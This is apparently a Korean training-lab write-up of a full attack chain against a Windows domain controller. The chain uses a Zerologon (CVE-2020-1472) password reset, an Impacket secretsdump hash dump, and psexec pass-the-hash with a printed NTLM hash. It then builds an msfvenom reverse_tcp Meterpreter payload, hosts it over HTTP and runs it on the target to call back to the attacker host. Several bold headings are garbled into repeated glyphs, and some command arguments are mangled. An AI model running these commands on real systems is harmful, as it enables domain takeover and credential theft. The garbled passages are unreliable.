
Metasploit 및 Impacket을 사용한 종단간 도메인 컨트롤러 익스플로잇: DC10 발견, Zerologon(CVE-2020-1472) 악용, NTLM 해시 추출, SYSTEM 셸 획득, Meterpreter 세션 수립.
Metasploit과 Impacket을 사용한 종단간 도메인 컨트롤러 익스플로잇: DC10 발견, Zerologon(CVE-2020-1472) 익스플로잇, NTLM 해시 추출, SYSTEM 셸 획득, Meterpreter 세션 수립.
Executive Summary 이 실습은 CVE-2020-1472(Zerologon)에 취약한 도메인 컨트롤러에 대한 완전하고 현실적인 공격 체인을 보여줍니다. 작업에는 발견, 서비스 강화, 익스플로잇, 자격 증명 추출, 측면 이동 및 사후 익스플로잇 검증이 포함되었습니다. Zerologon, Impacket secretsdump + pass-the-hash, msfvenom/meterpreter 페이로드를 조합하여 DC에서 SYSTEM 수준의 액세스를 성공적으로 획득하고 지속적인 Meterpreter 세션을 수립했습니다. 각 단계의 스크린샷과 명령 아티팩트가 증거로 캡처되었습니다.
𝐋𝐚𝐛 𝐨𝐯𝐞𝐫𝐯𝐢𝐞𝐰: 𝐖𝐢𝐧𝐝𝐨𝐰𝐬 𝐃𝐨𝐦𝐚𝐢𝐧 𝐂𝐁𝐧𝐁𝐁𝐁𝐁𝐁𝐁(도메인 컨트롤러)에서 𝐌𝐞𝐁𝐁𝐁𝐁𝐁𝐁와 𝐈𝐁𝐁𝐁𝐁𝐁𝐁𝐁를 사용한 전체 공격 체인 시뮬레이션; 발견, Zerologon, secretsdump, pass-the-hash, 제어된 Meterpreter 세션.
𝐖𝐡𝐲 𝐢𝐁 𝐦𝐁𝐁𝐁𝐁𝐁𝐁𝐁 𝐁𝐁 𝐨𝐁𝐁𝐁𝐁𝐁𝐁𝐁𝐁𝐁𝐁𝐁: DC는 전체 도메인의 인증, 그룹 정책 및 ID를 제어하므로, 침해 시 완전한 비즈니스 중단, 계정 탈취, 데이터 유출, 랜섬웨어 배포 및 규제 신뢰 상실로 이어질 수 있습니다. DC를 보호하면 공격자가 ID를 단일 장애 지점으로 전환하는 것을 방지하여 가동 시간, 수익 및 평판을 보호할 수 있습니다.
제한된 랩 네트워크에 두 대의 머신이 제공됩니다. 한 시스템은 DC10이라는 Windows 도메인 컨트롤러(DC)로 핵심 AD 서비스를 호스팅합니다. 다른 시스템은 테스트를 위해 동일한 서버 서브넷에 배치된 Kali 워크스테이션입니다. DC는 일반적인 도메인 서비스(예: LDAP, Kerberos, SMB)를 노출하고 알려진 취약점에 취약할 수 있다고 가정합니다. Kali 호스트는 정찰, 익스플로잇, 자격 증명 액세스, 측면 이동 및 사후 익스플로잇 검증에 사용될 것으로 예상됩니다. 과제는 DC를 식별하고, 도메인 세부 정보를 확인하고, 적용 가능한 기술을 사용하여 초기 발판을 확보하고, 관리 액세스를 가능하게 하는 자격 증명 자료를 추출한 다음, 원격 셸과 관리형 에이전트 세션을 통해 DC 제어를 입증하는 동시에 패치된 서비스, 제한된 이그레스 또는 엔드포인트 방어와 같은 환경적 제약에 적응하는 것입니다. DC: 10.1.16.1 Kali: 10.1.16.66
DB 지원이 있는 msfconsole을 사용하고, MSF 내에서 nmap 스윕을 실행하고, 결과를 가져오고, 호스트와 서비스를 정제하여 DC10의 노출을 확인했습니다.
MSF에서 SYN 포트 스캔을 수행하고, SMB를 핑거프린팅하고, 10.1.16.1에서 LDAP 및 Kerberos를 확인했습니다. LDAP을 쿼리하여 도메인 이름을 검색했습니다.
### SMB version check
auxiliary/scanner/smb/smb_version을 사용했습니다.
auxiliary/gather/ldap_query를 사용했습니다.
DC10에 대해 auxiliary/admin/dcerpc/cve_2020_1472_zerologon을 실행하여 머신 계정 비밀번호를 빈 값으로 재설정했습니다.
Impacket을 사용하여 DC에서 NTLM 해시를 덤프하고 pass-the-hash를 위한 Administrator 자격 증명을 식별했습니다.
impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]
pass-the-hash와 psexec을 사용하여 DC10에서 SYSTEM 수준의 셸을 획득하고 호스트 ID를 확인했습니다.
impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
보시다시피, 이미 C:\Windows\system32에 있습니다.
reverse_tcp meterpreter 페이로드를 생성하고, HTTP로 호스팅하고, DC10에 다운로드하고, 핸들러를 시작하고, 페이로드를 실행하여 Meterpreter 세션을 열었습니다.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
대상 시스템이 이 meterpreter 실행 파일에 쉽게 액세스할 수 있도록 기본 웹 서버를 시작했습니다.
python3 -m http.server 8080
대상 머신에서 meterpreter 실행 파일(secret.exe)을 실행했습니다.
보시다시피, 이제 대상 DC10과 Kali 시스템 간의 리버스 셸 연결을 수립했습니다. 이는 취약한 대상에 대해 외부/원격 익스플로잇만을 사용하여 이루어졌습니다.
Kali 시스템은 DC10 대상과 동일한 서버 서브넷에 위치하지만, 이러한 유형의 공격은 대상 시스템이 공개 인터넷에 노출된 경우 인터넷을 통해 가능합니다.